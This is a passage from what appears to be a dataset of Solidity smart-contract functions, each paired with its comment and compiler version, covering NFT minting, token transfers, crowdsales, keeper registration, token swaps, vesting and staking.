newBaseReward);\r\n\r\n emit RecomputedRewards(receiver, newBaseReward, newMaxReward);\r\n }", "version": "0.6.7"} {"comment": "// // internal write functions\n// mint", "function_code": "function _mint(address to_, uint256 tokenId_) internal virtual {\r\n require(to_ != address(0x0), \"ERC721I: _mint() Mint to Zero Address\");\r\n require(ownerOf[tokenId_] == address(0x0), \"ERC721I: _mint() Token to Mint Already Exists!\");\r\n\r\n // ERC721I Starts Here\r\n balanceOf[to_]++;\r\n ownerOf[tokenId_] = to_;\r\n\r\n // totalSupply++; // I removed this for a bit better gas management on multi-mints ~ 0xInuarashi\r\n \r\n // ERC721I Ends Here\r\n\r\n emit Transfer(address(0x0), to_, tokenId_);\r\n \r\n // emit Mint(to_, tokenId_); // I removed this for a bit better gas management on multi-mints ~ 0xInuarashi\r\n }", "version": "0.8.7"} {"comment": "// transfer", "function_code": "function _transfer(address from_, address to_, uint256 tokenId_) internal virtual {\r\n require(from_ == ownerOf[tokenId_], \"ERC721I: _transfer() Transfer Not Owner of Token!\");\r\n require(to_ != address(0x0), \"ERC721I: _transfer() Transfer to Zero Address!\");\r\n\r\n // ERC721I Starts Here\r\n // checks if there is an approved address clears it if there is\r\n if (getApproved[tokenId_] != address(0x0)) { \r\n _approve(address(0x0), tokenId_); \r\n } \r\n\r\n ownerOf[tokenId_] = to_; \r\n balanceOf[from_]--;\r\n balanceOf[to_]++;\r\n // ERC721I Ends Here\r\n\r\n emit Transfer(from_, to_, tokenId_);\r\n }", "version": "0.8.7"} {"comment": "// // Internal View Functions\n// Embedded Libraries", "function_code": "function _toString(uint256 value_) internal pure returns (string memory) {\r\n if (value_ == 0) { return \"0\"; }\r\n uint256 _iterate = value_; uint256 _digits;\r\n while (_iterate != 0) { _digits++; _iterate /= 10; } // get digits in value_\r\n bytes memory _buffer = new bytes(_digits);\r\n while (value_ != 0) { _digits--; _buffer[_digits] = bytes1(uint8(48 + uint256(value_ % 10 ))); value_ /= 10; } // create bytes of value_\r\n return string(_buffer); // return string converted bytes of value_\r\n }", "version": "0.8.7"} {"comment": "// Functional Views", "function_code": "function _isApprovedOrOwner(address spender_, uint256 tokenId_) internal view virtual returns (bool) {\r\n require(ownerOf[tokenId_] != address(0x0), \"ERC721I: _isApprovedOrOwner() Owner is Zero Address!\");\r\n address _owner = ownerOf[tokenId_];\r\n return (spender_ == _owner || spender_ == getApproved[tokenId_] || isApprovedForAll[_owner][spender_]);\r\n }", "version": "0.8.7"} {"comment": "// // public write functions", "function_code": "function approve(address to_, uint256 tokenId_) public virtual {\r\n address _owner = ownerOf[tokenId_];\r\n require(to_ != _owner, \"ERC721I: approve() Cannot approve yourself!\");\r\n require(msg.sender == _owner || isApprovedForAll[_owner][msg.sender], \"ERC721I: Caller not owner or Approved!\");\r\n _approve(to_, tokenId_);\r\n }", "version": "0.8.7"} {"comment": "// // public view functions\n// never use these for functions ever, they are expensive af and for view only (this will be an issue in the future for interfaces)", "function_code": "function walletOfOwner(address address_) public virtual view returns (uint256[] memory) {\r\n uint256 _balance = balanceOf[address_];\r\n uint256[] memory _tokens = new uint256[] (_balance);\r\n uint256 _index;\r\n uint256 _loopThrough = totalSupply;\r\n for (uint256 i = 0; i < _loopThrough; i++) {\r\n if (ownerOf[i] == address(0x0) && _tokens[_balance - 1] == 0) { _loopThrough++; }\r\n if (ownerOf[i] == address_) { _tokens[_index] = i; _index++; }\r\n }\r\n return _tokens;\r\n }", "version": "0.8.7"} {"comment": "// Governance Functions", "function_code": "function setPayableGovernanceShareholders(address payable[] memory addresses_, uint256[] memory shares_) public onlyPayableGovernanceSetter {\r\n require(_payableGovernanceAddresses.length == 0 && _payableGovernanceShares.length == 0, \"Payable Governance already set! To set again, reset first!\");\r\n require(addresses_.length == shares_.length, \"Address and Shares length mismatch!\");\r\n uint256 _totalShares;\r\n for (uint256 i = 0; i < addresses_.length; i++) {\r\n _totalShares += shares_[i];\r\n _payableGovernanceAddresses.push(addresses_[i]);\r\n _payableGovernanceShares.push(shares_[i]);\r\n }\r\n require(_totalShares == 1000, \"Total Shares is not 1000!\");\r\n }", "version": "0.8.7"} {"comment": "// Withdraw Functions", "function_code": "function withdrawEther() public onlyOwner {\r\n // require that there has been payable governance set.\r\n require(_payableGovernanceAddresses.length > 0 && _payableGovernanceShares.length > 0, \"Payable governance not set yet!\");\r\n // this should never happen\r\n require(_payableGovernanceAddresses.length == _payableGovernanceShares.length, \"Payable governance length mismatch!\");\r\n \r\n // now, we check that the governance shares equal to 1000.\r\n uint256 _totalPayableShares;\r\n for (uint256 i = 0; i < _payableGovernanceShares.length; i++) {\r\n _totalPayableShares += _payableGovernanceShares[i]; }\r\n require(_totalPayableShares == 1000, \"Payable Governance Shares is not 1000!\");\r\n \r\n // // now, we start the withdrawal process if all conditionals pass\r\n // store current balance in local memory\r\n uint256 _totalETH = address(this).balance; \r\n\r\n // withdraw loop for payable governance\r\n for (uint256 i = 0; i < _payableGovernanceAddresses.length; i++) {\r\n uint256 _ethToWithdraw = ((_totalETH * _payableGovernanceShares[i]) / 1000);\r\n _withdraw(_payableGovernanceAddresses[i], _ethToWithdraw);\r\n }\r\n }", "version": "0.8.7"} {"comment": "// Internal Mint", "function_code": "function _mintMany(address to_, uint256 amount_) internal {\r\n require(maxTokens >= totalSupply + amount_,\r\n \"Not enough tokens remaining!\");\r\n\r\n uint256 _startId = totalSupply + 1; // iterate from 1\r\n\r\n for (uint256 i = 0; i < amount_; i++) {\r\n _mint(to_, _startId + i);\r\n }\r\n totalSupply += amount_;\r\n }", "version": "0.8.7"} {"comment": "// Whitelist Mint Functions", "function_code": "function whitelistMint(bytes32[] calldata proof_, uint256 amount_) external payable \r\n onlySender whitelistMintEnabled {\r\n require(isWhitelisted(msg.sender, proof_), \r\n \"You are not Whitelisted!\");\r\n require(maxMintsPerWl >= addressToWlMints[msg.sender] + amount_,\r\n \"Over Max Mints per TX or Not enough whitelist mints remaining for you!\");\r\n require(msg.value == mintPrice * amount_, \r\n \"Invalid value sent!\");\r\n \r\n // Add address to WL minted\r\n addressToWlMints[msg.sender] += amount_;\r\n\r\n _mintMany(msg.sender, amount_);\r\n }", "version": "0.8.7"} {"comment": "// Allows a token holder to burn tokens. Once burned, tokens are permanently\n// removed from the total supply.", "function_code": "function burn(uint256 _amount) public returns (bool success) {\r\n require(_amount > 0, 'Token amount to burn must be larger than 0');\r\n\r\n address account = msg.sender;\r\n require(_amount <= balanceOf(account), 'You cannot burn token you dont have');\r\n\r\n balances[account] = balances[account].sub(_amount);\r\n totalSupply = totalSupply.sub(_amount);\r\n return true;\r\n }", "version": "0.4.24"} {"comment": "// Batch mint tokens. Assign directly to _to[].", "function_code": "function mint(uint256 _id, address[] calldata _to, uint256[] calldata _quantities) external creatorOnly(_id) {\n\n for (uint256 i = 0; i < _to.length; ++i) {\n\n address to = _to[i];\n uint256 quantity = _quantities[i];\n\n // Grant the items to the caller\n balances[_id][to] = quantity.add(balances[_id][to]);\n\n // Emit the Transfer/Mint event.\n // the 0x0 source address implies a mint\n // It will also provide the circulating supply info.\n emit TransferSingle(msg.sender, address(0x0), to, _id, quantity);\n\n if (to.isContract()) {\n _doSafeTransferAcceptanceCheck(msg.sender, msg.sender, to, _id, quantity, '');\n }\n }\n }", "version": "0.5.17"} {"comment": "// Change the date and time: the beginning of the round, the end of the bonus, the end of the round. Available to Manager\n// Description in the Crowdsale constructor", "function_code": "function changePeriod(uint256 _startTime, uint256 _endDiscountTime, uint256 _endTime) public{\r\n\r\n require(wallets[uint8(Roles.manager)] == msg.sender);\r\n\r\n require(!isInitialized);\r\n\r\n // Date and time are correct\r\n require(now <= _startTime);\r\n require(_endDiscountTime > _startTime && _endDiscountTime <= _endTime);\r\n\r\n startTime = _startTime;\r\n endTime = _endTime;\r\n endDiscountTime = _endDiscountTime;\r\n\r\n }", "version": "0.4.18"} {"comment": "// Returns the percentage of the bonus on the given date. Constant.", "function_code": "function getProfitPercentForData(uint256 timeNow) public constant returns (uint256){\r\n // if the discount is 0 or zero steps, or the round does not start, we return the minimum discount\r\n if (profit.max == 0 || profit.step == 0 || timeNow > endDiscountTime){\r\n return profit.min;\r\n }\r\n\r\n // if the round is over - the maximum\r\n if (timeNow<=startTime){\r\n return profit.max;\r\n }\r\n\r\n // bonus period\r\n uint256 range = endDiscountTime.sub(startTime);\r\n\r\n // delta bonus percentage\r\n uint256 profitRange = profit.max.sub(profit.min);\r\n\r\n // Time left\r\n uint256 timeRest = endDiscountTime.sub(timeNow);\r\n\r\n // Divide the delta of time into\r\n uint256 profitProcent = profitRange.div(profit.step).mul(timeRest.mul(profit.step.add(1)).div(range));\r\n return profitProcent.add(profit.min);\r\n }", "version": "0.4.18"} {"comment": "// function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {\n// require(address(this).balance >= value, \"Address: insufficient balance for call\");\n// return _functionCallWithValue(target, data, value, errorMessage);\n// }", "function_code": "function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(address(this).balance >= value, \"Address: insufficient balance for call\");\n require(isContract(target), \"Address: call to non-contract\");\n\n // solhint-disable-next-line avoid-low-level-calls\n (bool success, bytes memory returndata) = target.call{value: value}(data);\n return _verifyCallResult(success, returndata, errorMessage);\n }", "version": "0.8.10"} {"comment": "// Checking whether the rights to address ignore the \"Pause of exchange\". If the\n// wallet is included in this list, it can translate tokens, ignoring the pause. By default,\n// only the following wallets are included:\n// - Accountant wallet (he should immediately transfer tokens, but not to non-ETH investors)\n// - Contract for freezing the tokens for the Team (but Team wallet not included)\n// Inside. Constant.", "function_code": "function unpausedWallet(address _wallet) internal constant returns(bool) {\r\n bool _accountant = wallets[uint8(Roles.accountant)] == _wallet;\r\n bool _manager = wallets[uint8(Roles.manager)] == _wallet;\r\n bool _bounty = wallets[uint8(Roles.bounty)] == _wallet;\r\n bool _company = wallets[uint8(Roles.company)] == _wallet;\r\n return _accountant || _manager || _bounty || _company;\r\n }", "version": "0.4.18"} {"comment": "// *********************************************************************************************\n// Begin overrides to accomodate virtual owners information until owners are committed to state.\n// *********************************************************************************************", "function_code": "function tokenURI(uint256 tokenId) public pure override(ERC721) returns (string memory) {\r\n // Since _owners starts empty but this contract represents 4012 NFTs, change the\r\n // exists check for tokenURI.\r\n require(0 < tokenId && tokenId < 4013, \"Doesn't exist!\");\r\n return string(abi.encodePacked(\"ipfs://QmSgeFjJWkUkGRMvGDZHGd52VTi1L8yjMMtQaBxXXaC9nV/\", tokenId.toString(), \".json\"));\r\n }", "version": "0.8.7"} {"comment": "// Free OS Listings", "function_code": "function isApprovedForAll(\r\n address owner,\r\n address operator\r\n )\r\n public\r\n view\r\n override(ERC721)\r\n returns (bool)\r\n {\r\n // Whitelist OpenSea proxy contract for easy trading.\r\n ProxyRegistry proxyRegistry = ProxyRegistry(_openSea);\r\n if (address(proxyRegistry.proxies(owner)) == operator) {\r\n return true;\r\n }\r\n \r\n return ERC721.isApprovedForAll(owner, operator);\r\n }", "version": "0.8.7"} {"comment": "// If _balances for owner is not set in this contract, return balances from mint pass\n// contract.", "function_code": "function balanceOf(address owner) public view virtual override(ERC721) returns (uint256) {\r\n require(owner != address(0), \"ERC721: balance query for the zero address\");\r\n if (_balances[owner] == 0) {\r\n return _ffmp.balanceOf(owner);\r\n } else {\r\n return _balances[owner];\r\n }\r\n }", "version": "0.8.7"} {"comment": "// smart contracts must implement the fallback function in order to deregister", "function_code": "function deregister()\r\n external\r\n {\r\n Account storage account = accounts[msg.sender];\r\n require(account.membership & VOTER != 0);\r\n require(account.lastAccess + 7 days <= now);\r\n account.membership ^= VOTER;\r\n account.lastAccess = 0;\r\n // the MANDATORY transfer keeps population() meaningful\r\n msg.sender.transfer(registrationDeposit);\r\n Deregistered(msg.sender);\r\n }", "version": "0.4.20"} {"comment": "// under no condition should you let anyone control two BOARD accounts", "function_code": "function appoint(address _board, string _vouch)\r\n external {\r\n require(accounts[msg.sender].membership & BOARD != 0);\r\n Account storage candidate = accounts[_board];\r\n if (candidate.membership & BOARD != 0) {\r\n return;\r\n }\r\n address appt = candidate.appointer;\r\n if (accounts[appt].membership & BOARD == 0) {\r\n candidate.appointer = msg.sender;\r\n Nominated(_board, _vouch);\r\n return;\r\n }\r\n if (appt == msg.sender) {\r\n return;\r\n }\r\n Nominated(_board, _vouch);\r\n candidate.membership |= BOARD;\r\n Board(_board);\r\n }", "version": "0.4.20"} {"comment": "// bans prevent accounts from voting through this proposal\n// this should only be used to stop a proposal that is abusing the VOTE token\n// the burn is to penalize bans, so that they cannot suppress ideas", "function_code": "function banProposal(ProposalInterface _proposal, string _reason)\r\n external payable\r\n {\r\n require(msg.value == proposalCensorshipFee);\r\n require(accounts[msg.sender].membership & BOARD != 0);\r\n Account storage account = accounts[_proposal];\r\n require(account.membership & PROPOSAL != 0);\r\n account.membership &= ~PROPOSAL;\r\n burn.transfer(proposalCensorshipFee);\r\n BannedProposal(_proposal, _reason);\r\n }", "version": "0.4.20"} {"comment": "// this code lives here instead of in the token so that it can be upgraded with account registry migration", "function_code": "function faucet()\r\n external {\r\n Account storage account = accounts[msg.sender];\r\n require(account.membership & VOTER != 0);\r\n uint256 lastAccess = account.lastAccess;\r\n uint256 grant = (now - lastAccess) / 72 minutes;\r\n if (grant > 40) {\r\n grant = 40;\r\n account.lastAccess = now;\r\n } else {\r\n account.lastAccess = lastAccess + grant * 72 minutes;\r\n }\r\n token.grant(msg.sender, grant);\r\n }", "version": "0.4.20"} {"comment": "/**\n * @notice register can only be called through transferAndCall on LINK contract\n * @param name string of the upkeep to be registered\n * @param encryptedEmail email address of upkeep contact\n * @param upkeepContract address to peform upkeep on\n * @param gasLimit amount of gas to provide the target contract when\n * performing upkeep\n * @param adminAddress address to cancel upkeep and withdraw remaining funds\n * @param checkData data passed to the contract when checking for upkeep\n * @param amount quantity of LINK upkeep is funded with (specified in Juels)\n * @param source application sending this request\n */", "function_code": "function register(\n string memory name,\n bytes calldata encryptedEmail,\n address upkeepContract,\n uint32 gasLimit,\n address adminAddress,\n bytes calldata checkData,\n uint96 amount,\n uint8 source\n )\n external\n onlyLINK()\n {\n bytes32 hash = keccak256(msg.data);\n\n emit RegistrationRequested(\n hash,\n name,\n encryptedEmail,\n upkeepContract,\n gasLimit,\n adminAddress,\n checkData,\n amount,\n source\n );\n\n AutoApprovedConfig memory config = s_config;\n if (config.enabled && _underApprovalLimit(config)) {\n _incrementApprovedCount(config);\n\n _approve(\n name,\n upkeepContract,\n gasLimit,\n adminAddress,\n checkData,\n amount,\n hash\n );\n }\n }", "version": "0.7.6"} {"comment": "/**\n * @dev register upkeep on KeeperRegistry contract and emit RegistrationApproved event\n */", "function_code": "function approve(\n string memory name,\n address upkeepContract,\n uint32 gasLimit,\n address adminAddress,\n bytes calldata checkData,\n uint96 amount,\n bytes32 hash\n )\n external\n onlyOwner()\n {\n _approve(\n name,\n upkeepContract,\n gasLimit,\n adminAddress,\n checkData,\n amount,\n hash\n );\n }", "version": "0.7.6"} {"comment": "/**\n * @notice owner calls this function to set if registration requests should be sent directly to the Keeper Registry\n * @param enabled setting for autoapprove registrations\n * @param windowSizeInBlocks window size defined in number of blocks\n * @param allowedPerWindow number of registrations that can be auto approved in above window\n * @param keeperRegistry new keeper registry address\n */", "function_code": "function setRegistrationConfig(\n bool enabled,\n uint32 windowSizeInBlocks,\n uint16 allowedPerWindow,\n address keeperRegistry,\n uint256 minLINKJuels\n )\n external\n onlyOwner()\n {\n s_config = AutoApprovedConfig({\n enabled: enabled,\n allowedPerWindow: allowedPerWindow,\n windowSizeInBlocks: windowSizeInBlocks,\n windowStart: 0,\n approvedInCurrentWindow: 0\n });\n s_minLINKJuels = minLINKJuels;\n s_keeperRegistry = KeeperRegistryBaseInterface(keeperRegistry);\n\n emit ConfigChanged(\n enabled,\n windowSizeInBlocks,\n allowedPerWindow,\n keeperRegistry,\n minLINKJuels\n );\n }", "version": "0.7.6"} {"comment": "/**\n * @notice read the current registration configuration\n */", "function_code": "function getRegistrationConfig()\n external\n view\n returns (\n bool enabled,\n uint32 windowSizeInBlocks,\n uint16 allowedPerWindow,\n address keeperRegistry,\n uint256 minLINKJuels,\n uint64 windowStart,\n uint16 approvedInCurrentWindow\n )\n {\n AutoApprovedConfig memory config = s_config;\n return (\n config.enabled,\n config.windowSizeInBlocks,\n config.allowedPerWindow,\n address(s_keeperRegistry),\n s_minLINKJuels,\n config.windowStart,\n config.approvedInCurrentWindow\n );\n }", "version": "0.7.6"} {"comment": "/**\n * @notice Called when LINK is sent to the contract via `transferAndCall`\n * @param amount Amount of LINK sent (specified in Juels)\n * @param data Payload of the transaction\n */", "function_code": "function onTokenTransfer(\n address, /* sender */\n uint256 amount,\n bytes calldata data\n )\n external\n onlyLINK()\n permittedFunctionsForLINK(data)\n isActualAmount(amount, data)\n {\n require(amount >= s_minLINKJuels, \"Insufficient payment\");\n (bool success, ) = address(this).delegatecall(data); // calls register\n require(success, \"Unable to create request\");\n }", "version": "0.7.6"} {"comment": "/**\n * @notice initializes the contract, with all parameters set at once\n * @param _token the only token contract that is accepted in this vesting instance\n * @param _owner the owner that can call decreaseVesting, set address(0) to have no owner\n * @param _cliffInTenThousands amount of tokens to be released ahead of startTime: 10000 => 100%\n * @param _cliffDelayInDays the cliff can be retrieved this many days before StartTime of the schedule\n * @param _exp this sets the pace of the schedule. 0 is instant, 1 is linear over time, 2 is quadratic over time etc.\n */", "function_code": "function initialize\n (\n address _token,\n address _owner,\n uint256 _startInDays,\n uint256 _durationInDays,\n uint256 _cliffInTenThousands,\n uint256 _cliffDelayInDays,\n uint256 _exp\n )\n external initializer\n {\n __Ownable_init();\n token = IERC20(_token);\n startTime = block.timestamp + _startInDays * 86400;\n duration = _durationInDays * 86400;\n cliff = _cliffInTenThousands;\n cliffDelay = _cliffDelayInDays * 86400;\n exp = _exp;\n if (_owner == address(0)) {\n renounceOwnership();\n }else {\n transferOwnership(_owner);\n }\n }", "version": "0.8.0"} {"comment": "// Commission CryptoTulip for abstract deconstructed art.\n// You: I'd like a painting please. Use my painting for the foundation\n// and use that other painting accross the street as inspiration.\n// Artist: That'll be 1 finney. Come back one block later.", "function_code": "function commissionArt(uint256 _foundation, uint256 _inspiration)\r\n external payable returns (uint)\r\n {\r\n require((totalSupply() < COMMISSION_ARTWORK_LIMIT) || (msg.value >= 1000 * ARTIST_FEES));\r\n require(msg.sender == ownerOf(_foundation));\r\n require(msg.value >= ARTIST_FEES);\r\n uint256 _id = _createTulip(bytes32(0), _foundation, _inspiration, tulips[_foundation].generation + 1, msg.sender);\r\n return _creativeProcess(_id);\r\n }", "version": "0.7.6"} {"comment": "// Allows the developer to set the crowdsale addresses.", "function_code": "function set_sale_address(address _sale) {\r\n // Only allow the developer to set the sale addresses.\r\n require(msg.sender == developer);\r\n // Only allow setting the addresses once.\r\n require(sale == 0x0);\r\n // Set the crowdsale and token addresses.\r\n sale = _sale;\r\n }", "version": "0.4.16"} {"comment": "// DEPRECATED -- Users must execute withdraw and specify the token address explicitly\n// This contract was formerly exploitable by a malicious dev zeroing out former\n// user balances with a junk token\n// Allows the developer to set the token address !\n// Enjin does not release token address until public crowdsale\n// In theory, developer could shaft everyone by setting incorrect token address\n// Please be careful\n//function set_token_address(address _token) {\n// Only allow the developer to set token addresses.\n// require(msg.sender == developer);\n// Set the token addresses.\n// token = ERC20(_token);\n//}\n// Allows the developer or anyone with the password to shut down everything except withdrawals in emergencies.", "function_code": "function activate_kill_switch(string password) {\r\n // Only activate the kill switch if the sender is the developer or the password is correct.\r\n require(msg.sender == developer || sha3(password) == password_hash);\r\n // Store the claimed bounty in a temporary variable.\r\n uint256 claimed_bounty = buy_bounty;\r\n // Update bounty prior to sending to prevent recursive call.\r\n buy_bounty = 0;\r\n // Irreversibly activate the kill switch.\r\n kill_switch = true;\r\n // Send the caller their bounty for activating the kill switch.\r\n msg.sender.transfer(claimed_bounty);\r\n }", "version": "0.4.16"} {"comment": "// Default function. Called when a user sends ETH to the contract.", "function_code": "function () payable {\r\n // Disallow deposits if kill switch is active.\r\n require(!kill_switch);\r\n // Only allow deposits if the contract hasn't already purchased the tokens.\r\n require(!bought_tokens);\r\n // Only allow deposits that won't exceed the contract's ETH cap.\r\n require(this.balance < eth_cap);\r\n // Update records of deposited ETH to include the received amount.\r\n balances[msg.sender] += msg.value;\r\n }", "version": "0.4.16"} {"comment": "// ------------------------------------------------------------------------\n// Transfer _amount tokens to address _to \n// Sender must have enough tokens. Cannot send to 0x0.\n// ------------------------------------------------------------------------", "function_code": "function transfer(address _to, uint _amount) \r\n public \r\n returns (bool success) {\r\n require(_to != address(0)); // Use burn() function instead\r\n require(_to != address(this));\r\n balances[msg.sender] = balances[msg.sender].sub(_amount);\r\n balances[_to] = balances[_to].add(_amount);\r\n emit Transfer(msg.sender, _to, _amount);\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "// Allows the Hydro API to set minimum hydro balances required for sign ups", "function_code": "function setMinimumHydroStakes(uint newMinimumHydroStakeUser, uint newMinimumHydroStakeDelegatedUser)\r\n public onlyOwner\r\n {\r\n ERC20Basic hydro = ERC20Basic(hydroTokenAddress);\r\n require(newMinimumHydroStakeUser <= (hydro.totalSupply() / 100 / 100)); // <= .01% of total supply\r\n require(newMinimumHydroStakeDelegatedUser <= (hydro.totalSupply() / 100 / 2)); // <= .5% of total supply\r\n minimumHydroStakeUser = newMinimumHydroStakeUser;\r\n minimumHydroStakeDelegatedUser = newMinimumHydroStakeDelegatedUser;\r\n }", "version": "0.4.23"} {"comment": "// Checks prefixed signatures (e.g. those created with web3.eth.sign)", "function_code": "function _isSignedPrefixed(address _address, bytes32 messageHash, uint8 v, bytes32 r, bytes32 s)\r\n internal\r\n pure\r\n returns (bool)\r\n {\r\n bytes memory prefix = \"\\x19Ethereum Signed Message:\\n32\";\r\n bytes32 prefixedMessageHash = keccak256(prefix, messageHash);\r\n\r\n return ecrecover(prefixedMessageHash, v, r, s) == _address;\r\n }", "version": "0.4.23"} {"comment": "// Common internal logic for all user signups", "function_code": "function _userSignUp(string casedUserName, address userAddress, bool delegated) internal {\r\n require(bytes(casedUserName).length < 50);\r\n\r\n bytes32 uncasedUserNameHash = keccak256(casedUserName.toSlice().copy().toString().lower());\r\n require(!userDirectory[uncasedUserNameHash]._initialized);\r\n\r\n userDirectory[uncasedUserNameHash] = User(casedUserName, userAddress, delegated, true);\r\n nameDirectory[userAddress] = uncasedUserNameHash;\r\n\r\n emit UserSignUp(casedUserName, userAddress, delegated);\r\n }", "version": "0.4.23"} {"comment": "// Overridden ownerOf", "function_code": "function approve(address to, uint256 tokenId) public virtual override {\r\n address owner = ownerOf(tokenId);\r\n require(to != owner, \"ERC721: approval to current owner\");\r\n\r\n require(\r\n msg.sender == owner || isApprovedForAll(owner, msg.sender),\r\n \"ERC721: approve caller is not owner nor approved for all\"\r\n );\r\n\r\n _approve(to, tokenId);\r\n }", "version": "0.8.7"} {"comment": "// Removed ERC721 specifier to use overridden ownerOf function", "function_code": "function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {\r\n require(_exists(tokenId), \"ERC721: operator query for nonexistent token\");\r\n address owner = ownerOf(tokenId);\r\n return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));\r\n }", "version": "0.8.7"} {"comment": "// OpenZeppelin _mint function overriden to support quantity. This reduces\n// writes to storage and simplifies code.\n//\n// Flag added to allow selection between \"safe\" and \"unsafe\" mint with one\n// function.", "function_code": "function _mint(address to, uint256 quantity, uint256 safeMint, bytes memory data) internal virtual {\r\n require(to != address(0), \"ERC721: mint to the zero address\");\r\n\r\n // Reading tokenIndex into memory, and then updating\r\n // balances and stored index one time is more gas\r\n // efficient.\r\n uint256 mintIndex = _tokenIndex;\r\n _minted[to] += quantity;\r\n _tokenIndex += quantity;\r\n\r\n // Mint new tokens.\r\n for (uint256 i = 0; i < quantity; i++) {\r\n mintIndex++;\r\n _owners[mintIndex] = to;\r\n emit Transfer(address(0), to, mintIndex);\r\n emit PermanentURI(\"https://frenlyflyz.io/ffmp-token-metadata/\", mintIndex);\r\n\r\n if (safeMint == 1) {\r\n require(\r\n _checkOnERC721Received(address(0), to, mintIndex, data),\r\n \"ERC721: transfer to non ERC721Receiver implementer\"\r\n );\r\n }\r\n }\r\n }", "version": "0.8.7"} {"comment": "//Function overridden in main contract.", "function_code": "function _transfer(\r\n address from,\r\n address to,\r\n uint256 tokenId\r\n ) internal virtual {\r\n require(ERC721.ownerOf(tokenId) == from, \"ERC721: transfer from incorrect owner\");\r\n require(to != address(0), \"ERC721: transfer to the zero address\");\r\n\r\n // Clear approvals from the previous owner\r\n _approve(address(0), tokenId);\r\n\r\n _balances[from] -= 1;\r\n _balances[to] += 1;\r\n _owners[tokenId] = to;\r\n\r\n emit Transfer(from, to, tokenId);\r\n }", "version": "0.8.7"} {"comment": "// ------------------------------------------------------------------------\n// An approved sender can burn _amount tokens of user _from\n// Lowers user balance and supply by _amount \n// ------------------------------------------------------------------------ ", "function_code": "function burnFrom(address _from, uint _amount) \r\n public \r\n returns (bool success) {\r\n balances[_from] = balances[_from].sub(_amount); // Subtract from the targeted balance\r\n allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); // Subtract from the sender's allowance\r\n supply = supply.sub(_amount); // Update supply\r\n emit LogBurn(_from, _amount);\r\n emit Transfer(_from, address(0), _amount);\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "// ------------------------------------------------------------------------\n// Users can trade old MyBit tokens for new MyBit tokens here \n// Must approve this contract as spender to swap tokens\n// ------------------------------------------------------------------------", "function_code": "function swap(uint256 _amount) \r\n public \r\n noMint\r\n returns (bool){ \r\n require(ERC20Interface(oldTokenAddress).transferFrom(msg.sender, this, _amount));\r\n uint256 newTokenAmount = _amount.mul(scalingFactor).mul(tenDecimalPlaces); // Add 10 more decimals to number of tokens\r\n assert(tokensRedeemed.add(newTokenAmount) <= circulatingSupply); // redeemed tokens should never exceed circulatingSupply\r\n tokensRedeemed = tokensRedeemed.add(newTokenAmount);\r\n require(newToken.transfer(msg.sender, newTokenAmount));\r\n emit LogTokenSwap(msg.sender, _amount, block.timestamp);\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "// ------------------------------------------------------------------------\n// Alias for swap(). Called by old token contract when approval to transfer \n// tokens has been given. \n// ------------------------------------------------------------------------", "function_code": "function receiveApproval(address _from, uint256 _amount, address _token, bytes _data)\r\n public \r\n noMint\r\n returns (bool){ \r\n require(_token == oldTokenAddress);\r\n require(ERC20Interface(oldTokenAddress).transferFrom(_from, this, _amount));\r\n uint256 newTokenAmount = _amount.mul(scalingFactor).mul(tenDecimalPlaces); // Add 10 more decimals to number of tokens\r\n assert(tokensRedeemed.add(newTokenAmount) <= circulatingSupply); // redeemed tokens should never exceed circulatingSupply\r\n tokensRedeemed = tokensRedeemed.add(newTokenAmount);\r\n require(newToken.transfer(_from, newTokenAmount));\r\n emit LogTokenSwap(_from, _amount, block.timestamp);\r\n return true;\r\n }", "version": "0.4.23"} {"comment": "// manual burn amount, for *possible* cex integration\n// !!BEWARE!!: you will BURN YOUR TOKENS when you call this.", "function_code": "function burnFromSelf(uint256 amount)\r\n external\r\n activeFunction(2)\r\n {\r\n address sender = _msgSender();\r\n uint256 rate = fragmentsPerToken();\r\n require(!fbl_getExcluded(sender), \"Excluded addresses can't call this function\");\r\n require(amount * rate < _fragmentBalances[sender], \"too much\");\r\n _fragmentBalances[sender] -= (amount * rate);\r\n _fragmentBalances[address(0)] += (amount * rate);\r\n _balances[address(0)] += (amount);\r\n _lp.sync();\r\n _lp.skim(treasury);\r\n emit Transfer(address(this), address(0), amount);\r\n }", "version": "0.8.7"} {"comment": "/* !!! CALLER WILL LOSE COINS CALLING THIS !!! */", "function_code": "function baseFromSelf(uint256 amount)\r\n external\r\n activeFunction(3)\r\n {\r\n address sender = _msgSender();\r\n uint256 rate = fragmentsPerToken();\r\n require(!fbl_getExcluded(sender), \"Excluded addresses can't call this function\");\r\n require(amount * rate < _fragmentBalances[sender], \"too much\");\r\n _fragmentBalances[sender] -= (amount * rate);\r\n _totalFragments -= amount * rate;\r\n feesAccruedByUser[sender] += amount;\r\n feesAccrued += amount;\r\n }", "version": "0.8.7"} {"comment": "/**\r\n * @param amount Amount of staking tokens\r\n * @param lockDays How many days the staker wants to lock\r\n * @param rewardToken The desired reward token to stake the tokens for (most likely a certain uToken)\r\n */", "function_code": "function stake(uint256 amount, uint256 lockDays, address rewardToken)\r\n external\r\n poolExists(rewardToken)\r\n {\r\n require(\r\n amount >= minStakeAmount,\r\n \"UnicStaking: Amount must be greater than or equal to min stake amount\"\r\n );\r\n require(\r\n lockMultipliers[lockDays].exists,\r\n \"UnicStaking: Invalid number of lock days specified\"\r\n );\r\n\r\n updateRewards(rewardToken);\r\n\r\n // transfer the staking tokens into the staking pool\r\n stakingToken.safeTransferFrom(msg.sender, address(this), amount);\r\n\r\n // now the data of the staker is persisted\r\n StakerInfo storage staker = stakes[nftStartId];\r\n staker.stakeStartTime = block.timestamp;\r\n staker.amount = amount;\r\n staker.lockDays = lockDays;\r\n staker.multiplier = lockMultipliers[lockDays].multiplier;\r\n staker.nftId = nftStartId;\r\n staker.rewardToken = rewardToken;\r\n\r\n RewardPool storage pool = pools[rewardToken];\r\n\r\n // the amount with lock multiplier applied\r\n uint256 virtualAmount = virtualAmount(staker.amount, staker.multiplier);\r\n staker.rewardDebt = virtualAmount.mul(pool.accRewardPerShare).div(DIV_PRECISION);\r\n\r\n pool.stakedAmount = pool.stakedAmount.add(amount);\r\n pool.stakedAmountWithMultipliers = 